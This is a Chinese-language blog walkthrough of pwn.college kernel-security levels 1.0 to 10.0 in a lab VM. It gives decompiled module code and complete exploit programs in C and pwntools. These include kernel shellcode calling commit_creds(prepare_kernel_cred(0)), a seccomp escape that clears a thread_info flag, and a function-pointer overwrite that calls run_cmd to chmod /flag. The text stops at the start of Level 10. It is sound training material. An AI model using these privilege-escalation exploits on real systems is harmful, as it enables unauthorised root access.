0xff 前言

好忙好忙,本来想做完整个模块再放上来的,但是短期内都没空做了…所以只好暂时丢上来水一下

0x00 事前准备

可以参考 Pwn College Format String Exploits Level 1.0 ~ Level 9.1攻略 事前准备
不过 exp 的形式不太一样了,这次是写 c 语言,应该也就用不到 python 了,所以只需要把 .ko dump 下来用 ida 逆向就行,依旧放个 scp 命令在这

scp -i ~/.ssh/key hacker@dojo.pwn.college:/challenge/babykernel_level{1.0}.ko .

因为是 kernel,所以在打题的时候还需要挂载内核模块

In order to get started on kernel challenges, you will need to run the challenges inside a virtual machine. You can start this VM done by running a command while at a terminal, vm start. The virtual machine will automatically load the kernel module located in the /challenge directory. You can then connect your terminal to this virtual machine with vm connect!

vm start & vm connect 命令就行
总算开坑内核了,其实有在内核和 v8 之间纠结,总之先体验一手)哪个好玩玩哪个

0x01 闯关

Level 1.0

建议先把内核安全:0x01 介绍 前四个模块看完再开始做题。
终于打开了 kernel 的大门,首先来看 init_module()

int __cdecl init_module()
{

v0 = filp_open("/flag", 0, 0);
memset(flag, 0, sizeof(flag));
kernel_read(v0, flag, 128, v0 + 104);
filp_close(v0, 0);
proc_entry = (proc_dir_entry *)proc_create("pwncollege", 438, 0, &fops);
...
return 0;
}

就是把 flag 读到 flag 变量里面,以及生成一个 /proc/pwncollege
device_open 没什么特别,值得注意的是 device_write & device_read

ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n16; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-18h]

v8 = __readgsqword(0x28u);
printk(&unk_AD0, file, buffer);
n16 = 16;
if ( length <= 0x10 )
n16 = length;
copy_from_user(password, buffer, n16);
device_state[0] = (strncmp(password, "gkklnaumhysmwksq", 0x10u) == 0) + 1;
return length;
}

允许我们对 /proc/pwncollege 进行写入,同时判断是否为 gkklnaumhysmwksq,会影响 device_state[0] 的值,继续看 device_read

ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
const char *p_invalid_password_n; // rsi
size_t length_1; // rdx
unsigned __int64 v8; // kr08_8

printk(&unk_B10, file, buffer);
p_invalid_password_n = flag;
if ( device_state[0] != 2 )
{
p_invalid_password_n = "device error: unknown state\n";
if ( device_state[0] <= 2 )
{
p_invalid_password_n = "password:\n";
if ( device_state[0] )
{
p_invalid_password_n = "device error: unknown state\n";
if ( device_state[0] == 1 )
{
device_state[0] = 0;
p_invalid_password_n = "invalid password\n";
}
}
}
}
length_1 = length;
v8 = strlen(p_invalid_password_n) + 1;
if ( v8 - 1 <= length )
length_1 = v8 - 1;
return v8 - 1 - copy_to_user(buffer, p_invalid_password_n, length_1);
}

判断 device_state[0] 的值,若为 2 就 copy_to_user(buffer, p_invalid_password_n, length_1); 简单理解为将 flag 返回给用户态,所以只需要对 /proc/pwncollege 写入 gkklnaumhysmwksq 即可

// gcc -o run kernel.c
// vm start
// vm connect
// /home/hacker/Desktop/run

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
assert(fd > 0);
char key[] = "gkklnaumhysmwksq";
write(fd, key, sizeof(key));
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 1.1

同 1.0 不过密码不同了,修改一下 c 然后重新编译一下就行

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
assert(fd > 0);
char key[] = "zyjgftjkwhqskcgg";
write(fd, key, sizeof(key));
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 2.0

与 Level 1 差不多,但是没有了 device_read,也就是说不能再像 level 1 那样

read(fd, buffer, 100);
write(1,buffer,100);

将 flag 输出到标准 stdout。但是我们可以观察一下 device_write

ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n16; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-18h]

v8 = __readgsqword(0x28u);
printk(&unk_438);
n16 = 16;
if ( length <= 0x10 )
n16 = length;
copy_from_user(password, buffer, n16);
if ( !strncmp(password, "vgerxthbcrnjspbs", 0x10u) )
printk(&unk_618);
return length;
}

其中 unk_618 是 flag,这次是将 flag 写入内核的环形缓冲区,在用户态终端使用 dmesg 即可打印出整个缓冲区的内容

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
assert(fd > 0);
char key[] = "vgerxthbcrnjspbs";
write(fd, key, sizeof(key));
close(fd);
return 0;
}

编译执行后,使用 dmesg 。就能看到 flag,以及 init 时所打印的一些信息

Level 2.1

基本逻辑与 level 2.0 一样,只是多了段检测 canary 的函数而已

copy_from_user(_0, a2, n16);
if ( !memcmp(_0, "wwxgfflrfmbbdtju", 0x10u) )
device_write_cold();

device_write_cold(); 内容大概是这样的

device_write_cold proc near             ; CODE XREF: device_write+4C↑p
mov rsi, offset flag
mov rdi, offset unk_EFB
call printk ; PIC mode
jmp loc_62

loc_62: ; CODE XREF: device_write_cold+13↓j
.text:0000000000000062 mov rax, [rsp+var_s10]
.text:0000000000000067 xor rax, gs:28h
.text:0000000000000070 jnz short loc_7E

loc_7E: ; CODE XREF: device_write+60↑j
.text:000000000000007E call __stack_chk_fail ; PIC mode

但它是先 printk 之后再检测的,所以即使改变了 canary 好像也没什么区别

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
assert(fd > 0);
char key[] = "wwxgfflrfmbbdtju";
write(fd, key, sizeof(key));
close(fd);
return 0;
}

编译执行后依旧使用 dmesg 找到 printk 的输出结果

Level 3.0

好了,典中典的内核提权来了

void __cdecl win()
{
__int64 v0; // rax

printk(&unk_8E8);
v0 = prepare_kernel_cred(0);
commit_creds(v0);
}

如果你有看内核安全:0x04 提权 就会知道 commit_creds(prepare_kernel_cred(0)) 的威力,不过这题流程依旧与前面的一样

copy_from_user(password, buffer, n16);
if ( !strncmp(password, "mmtilqnbfhgnhthd", 0x10u) )
win();
return length;

写入密码之后就会执行 win() 函数,此时我们就有 root 权限了,可以直接把 flag 读出来,输出到 stdout

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "mmtilqnbfhgnhthd";
write(fd, key, sizeof(key));

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 3.1

同款 win,同 level 2.1 canary 检测… 但好像也没什么影响,何意味。

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "aswhptptohogmmdr";
write(fd, key, sizeof(key));

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 4.0

这次是

__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
int v5; // r8d
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v7; // [rsp+10h] [rbp-18h]

v7 = __readgsqword(0x28u);
((void (__fastcall *)(void *, file *, _QWORD, unsigned __int64))printk)(&unk_328, file, cmd, arg);
result = -1;
if ( cmd == 1337 )
{
copy_from_user(password, arg, 16);
v5 = strncmp(password, "qyikgpxrxvcinxbe", 0x10u);
result = 0;
if ( !v5 )
{
win();
return 0;
}
}
return result;
}

分别要用 ioctl() 传入 3 个参数,第一个是 fd,第二个 cmd,用于下面的比较,第三个就是 password。目前来说都是比较简单的

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "qyikgpxrxvcinxbe";
ioctl(fd,1337,key);

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 4.1

多了神秘 canary,但不影响

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "jksrvazoqblqfusu";
ioctl(fd,1337,key);

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 5.0

__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax

printk(&unk_4A8);
result = -1;
if ( cmd == 1337 )
{
((void (__fastcall *)(void *, file *))arg)(&unk_4A8, file);
return 0;
}
return result;
}

中间这里怪怪的,直接看汇编

call    __x86_indirect_thunk_rbx ; PIC mode

我们可以在 ctfwiki 的分析 中看到这样一句话:

(这里编译器将其优化为 __x86_indirect_thunk_rbx() ,其实本质上就是 call rbx )。

可以看到 rbx 来自 arg,而 arg 就是我们可以控制的,ioctl 的第三个参数,所以

ioctl(fd,1337,addr);

就会 call 我们输入的 addr。Emm,卡关卡了很久,自己想复杂了,因为一直想着要自己泄露地址,然后配合 ida 中看到的偏移来计算出基地址。实际上 checksec 可以发现

Arch:       amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
Debuginfo: Yes

是没有开 pie 的,也没有 KASLR

hacker@vm_kernel-security~level5-0:~$ cat /proc/cmdline
rw rootfstype=9p rootflags=trans=virtio console=ttyS0 init=/opt/pwn.college/vm/init nokaslr PATH=/run/challenge/bin:/run/dojo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

可以参考一下 Address space layout 不管是 level 4 还是 level 5 的布局,Module mapping space 都是从 ffffffffc0000000 开始的,而且题目也只挂载了一个内核模块,所以默认基地址就是 ffffffffc0000000 ,加上 ida 中看到的 win 函数的偏移就可以了

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
unsigned long long win = 0xffffffffc0000000 + 0x43D;
ioctl(fd,1337,win);

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

有意思的是视频中提到:
但实际上如果你不是 root 的话是读不出来地址的,就像这样

这时候你要用 practice mode 来查看这个文件… 找到他们的地址

Level 5.1

5.1 同款,改一下 win 的偏移即可

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
// char key[] = "win";
unsigned long long win = 0xffffffffc0000000 + 0xD22;
// long unsigned int win = 0xffff88807c6b4500;
// write(fd, key, 0x20);
ioctl(fd,1337,win);

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 6.0

开启 shellcode 的大门

ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n4096; // rdx
__int64 v6; // rbp

printk(&unk_758, file, buffer, length, offset);
n4096 = 4096;
if ( length <= 0x1000 )
n4096 = length;
v6 = copy_from_user(shellcode, buffer, n4096);
((void (*)(void))shellcode)();
return length - v6;
}

跟用户态的 shellcode 不太一样,用户态的 shellcode 通常是不管后续的,因为一般直接就 getshell 或者 orw 把 flag 读出来了,但是内核主要还是提权,要是不管后续的话内核直接就崩溃了,还没读到 flag 就 g 了…

我们需要构造出 commit_creds(prepare_kernel_cred(0)) ,像上面一步那样,先分别找到他们的地址
使用这个模式,因为可以用 sudo , 然后把对应地址抄下来,就可以开始写 shellcode 了

root@vm_practice~kernel-security~level6-0:~# sudo cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff81089660 T prepare_kernel_cred
root@vm_practice~kernel-security~level6-0:~# sudo cat /proc/kallsyms | grep commit_creds
ffffffff81089310 T commit_creds

我们用回 pwntools 来写 shellcode

from pwn import *
# ffffffff81089660 T prepare_kernel_cred
# ffffffff81089310 T commit_creds

context.arch='amd64'

shellcode = '''
xor rdi,rdi
mov rax, 0xffffffff81089660
call rax

mov rdi,rax
mov rax, 0xffffffff81089310
call rax

ret
'''
shellcode = asm(shellcode)
print(shellcode)
# b'H1\xffH\xc7\xc0`\x96\x08\x81\xff\xd0H\x89\xc7H\xc7\xc0\x10\x93\x08\x81\xff\xd0\xc3'

得到能需要发送的内容,而且 shellcode 与我们用户态写的会比较不一样,这里需要考虑 ret 返回,也不能直接 call 0xffffffff81089310 这样,具体为什么可以看内核安全:0x08 shellcode
然后写 c 脚本编译运行:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);

char shellcode[] = "H1\xffH\xc7\xc0`\x96\x08\x81\xff\xd0H\x89\xc7H\xc7\xc0\x10\x93\x08\x81\xff\xd0\xc3";
write(fd,shellcode,strlen(shellcode));

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 6.1

没啥区别,照搬都行

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);

char shellcode[] = "H1\xffH\xc7\xc0`\x96\x08\x81\xff\xd0H\x89\xc7H\xc7\xc0\x10\x93\x08\x81\xff\xd0\xc3";
write(fd,shellcode,strlen(shellcode));

fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 7.0

与 Level 6.0 有点不同,首先是 write 变成了 ioctl

__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
size_t shellcode_length; // [rsp+0h] [rbp-28h] BYREF
void (*shellcode_execute_addr[4])(void); // [rsp+8h] [rbp-20h] BYREF

shellcode_execute_addr[1] = (void (*)(void))__readgsqword(0x28u);
printk(&unk_320, file, cmd, arg);
result = -1;
if ( cmd == 1337 )
{
copy_from_user(&shellcode_length, arg, 8);
copy_from_user(shellcode_execute_addr, arg + 4104, 8);
result = -2;
if ( shellcode_length <= 0x1000 )
{
copy_from_user(shellcode, arg + 8, shellcode_length);
shellcode_execute_addr[0]();
return 0;
}
}
return result;
}

然后是 shellcode 的构造,头八个字节是 shellcode 的长度,接着再到 shellcode(要填满 0x1000 ),最后是 shellcode 的地址。按下 x 找引用发现,shellcode 上存放的是一个地址,在 init 的时候,内核调用 _vmalloc 分配了 4096 字节的内存。

int __cdecl init_module()
{
shellcode = (unsigned __int8 *)_vmalloc(4096, 3264, _default_kernel_pte_mask & 0x163);
...
}

实际上需要先找到这个地址,首先是找到 shellcode 所在的地址。因为没有 kaslr,bss段的shellcode变量地址:模块bss段加载基址+bss段内偏移。首先是要找到模块 bss 段加载基址

root@vm_practice~kernel-security~level7-0:~# sudo cat /sys/module/challenge/sections/.bss
0xffffffffc0002440

找到基地址之后计算一下 shellcode 在哪就行
可以看到是在 bss + 8 的位置上,直接 gdb 启动,这里需要切换到 privileged 模式,不然会没权限
接着

(gdb) x/gx 0xffffffffc0002448
0xffffffffc0002448: 0xffffc90000085000

就能拿到 shellcode 所在的地址,之后就是写 shellcode 了

from pwn import *
# ffffffff81089660 T prepare_kernel_cred
# ffffffff81089310 T commit_creds

context.arch='amd64'

shellcode = '''
xor rdi,rdi
mov rax, 0xffffffff81089660
call rax

mov rdi,rax
mov rax, 0xffffffff81089310
call rax

ret
'''
shellcode = asm(shellcode)
payload = p64(len(shellcode)) + shellcode.ljust(0x1000,b'\x90') + p64(0xffffc90000085000)
print(payload)

C,此处省略很多个 \x90,反正是填充满 0x1000 就行

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);

char shellcode[] = "\x19\x00\x00\x00\x00\x00\x00\x00H1\xffH\xc7\xc0`\x96\x08\x81\xff\xd0H\x89\xc7H\xc7\xc0\x10\x93\x08\x81\xff\xd0\xc3\x90...\x90\x00P\x08\x00\x00\xc9\xff\xff";
ioctl(fd,1337,shellcode);
fd = open("/flag", O_RDWR);
read(fd, buffer, 100);
write(1,buffer,100);
close(fd);
return 0;
}

Level 7.1

… 没啥好说的,直接跑 Lev 7 编译出来的程序就行

Level 8.0

跟往常一样我只把 ko dump 下来了,发现是换回了 write

ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t n4096; // rdx
__int64 v6; // rbp

printk(&unk_2E8);
n4096 = 4096;
if ( length <= 0x1000 )
n4096 = length;
v6 = copy_from_user(shellcode, buffer, n4096);
((void (*)(void))shellcode)();
return length - v6;
}

这不就跟 level 6 一样吗,然后我仔细看了一下,在 init 这里

proc_entry = (proc_dir_entry *)proc_create("pwncollege", 384, 0, &fops);

权限是 384,没法像之前那样直接写 shellcode。然后才发现有一个用户态的 elf…
mmap 了一段内存给我们写 shellcode,最后是沙箱,禁用了几乎所有系统调用,只允许 write。我们要通过这个用户态的 elf 来对把 shellcode 写到内核里面,然后在用户态把 flag 读出来。
但是如何进行沙箱逃逸呢,可以参考课程的视频 内核安全:0x05 seccomp逃逸
当中有提到如何关闭沙箱,只需要修改一个标志位即可
就是这个 thread_info 的 flags 字段,就在结构体的开头,只需要让这个位置翻转即可。视频中提到使用 current 来找到当前进程的 task_struct , 我们直接翻源码,看看那些函数有用到 current,然后在 gdb 中通过 disass 来查看汇编指令,就能找到 task_struct 结构体的地址。
例如

void revert_creds(const struct cred *old)
{
const struct cred *override = current->cred;
rcu_assign_pointer(current->cred, old);
put_cred(override);
}

这个函数,直接用 disass 查看汇编代码

(gdb) disass revert_creds
Dump of assembler code for function revert_creds:
0xffffffff810892c0 <+0>: mov %rdi,%rax
0xffffffff810892c3 <+3>: mov %gs:0x15d00,%rdx

其中的 gs:0x15d00 就是我们要找的地址。手搓一下 shellcode

shellcode = '''
mov rcx , qword ptr gs:0x15d00
and qword ptr [rcx] , ~(1<<8)

ret
'''

最后添加一些 shellcode 来把 flag 读出来即可

from pwn import *
# ffffffff81089660 T prepare_kernel_cred
# ffffffff81089310 T commit_creds

p = process('/challenge/babykernel_level8.0')
context.arch='amd64'

kernel_shellcode = '''
mov rax , qword ptr gs:0x15d00
and qword ptr [rax] , ~(1<<8)

xor rdi,rdi
mov rax, 0xffffffff81089660
call rax

mov rdi,rax
mov rax, 0xffffffff81089310
call rax

ret
'''

kernel_shellcode = asm(kernel_shellcode)

shellcode = shellcraft.amd64.write(3,kernel_shellcode,len(kernel_shellcode))
shellcode += shellcraft.amd64.linux.cat("/flag", 1)
shellcode = asm(shellcode)
p.send(shellcode)

p.interactive()

Level 8.1

同 level 8

Level 9.0

又没有用户态 elf 了,直接看 ko
比较乱,只看重点部分就行,首先是 19 行的

logger.log_function = (int (*)(const char *, ...))&printk;

把 logger 结构体的 log_function 成员设定成了 printk 函数
接着判断 length,随后调用 copy from user 来往 logger 上读

if ( length > 0x108 )
...

v8 = copy_from_user(&logger, buffer, length);

这里的长度判断是有问题的,可以等于 0x108,最后是

logger.log_function((const char *)&logger);

理论上来说就是

printk((const char *)&logger);

但是我们可以看一下 logger 的结构
前 0x100 字节都属于 buffer,但是从 0x100 到 0x108 就是 log_function 所在的位置,也就说我们可以通过上面的输入,把这个 log_function 给覆盖掉。这里大概翻了一下源码 /kernel/robot.c 找到了一个这样的函数

static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}

return ret;
}

这个函数算是一个内核态的 shell 命令执行器,可以理解为用户态的 system ?而且这个函数也只有一个参数,rsp 的位置没变过,所以只需要先写入要执行的指令,再把最后的 log_funtction 覆盖成 run_cmd 就行了
依旧先 practice mode 找到 run_cmd 的地址,然后用 python 继续 write 操作就行了

from pwn import *

# ffffffff81089b30 run_cmd

with open("/proc/pwncollege", 'wb') as f:
f.write(b'/usr/bin/chmod +777 /flag'.ljust(0x100) +p64(0xffffffff81089b30))

执行过后验证一下提权是否成功
可以看到所有用户都能读 flag 文件了。

本来是想直接这样的

with open("/proc/pwncollege", 'wb') as f:
f.write(b'/usr/bin/cat /flag'.ljust(0x100) +p64(0xffffffff81089b30))

但是执行完直接就卡住了,好像是 device_write 会对 stdout 上锁,然后在程序中又执行了 catrun_cmd 会等待 cat 进程执行完,而 cat 又在等 device_write 释放锁,结果就造成了死锁…
可能是吧,所以一般这种情况还是选择 chmod 吧

Level 9.1

同 level 9.0

Level 10.0

逻辑跟 level 9 是一样的,从题目描述可知开启了 kaslr
这里用了一个比较麻烦的方法来判断,一开始想的是 kaslr 应该像 pie 那样,每次启动内核都会随机化地址,所以我就 vm start 查看了 /proc/kallsyms 下的函数对应的地址,然后 vm restart 了再看一次

hacker@vm_practice~kernel-security~level10-0:~$ sudo cat /proc/kallsyms | grep prepare_ker
nel_cred
ffffffffa0289660 T prepare_kernel_cred

hacker@vm_practice~kernel-security~level10-0:~$ sudo cat /proc/kallsyms | grep prepare_kernel_cred
ffffffffb2889660 T prepare_kernel_cred

可以看到地址确实是变了。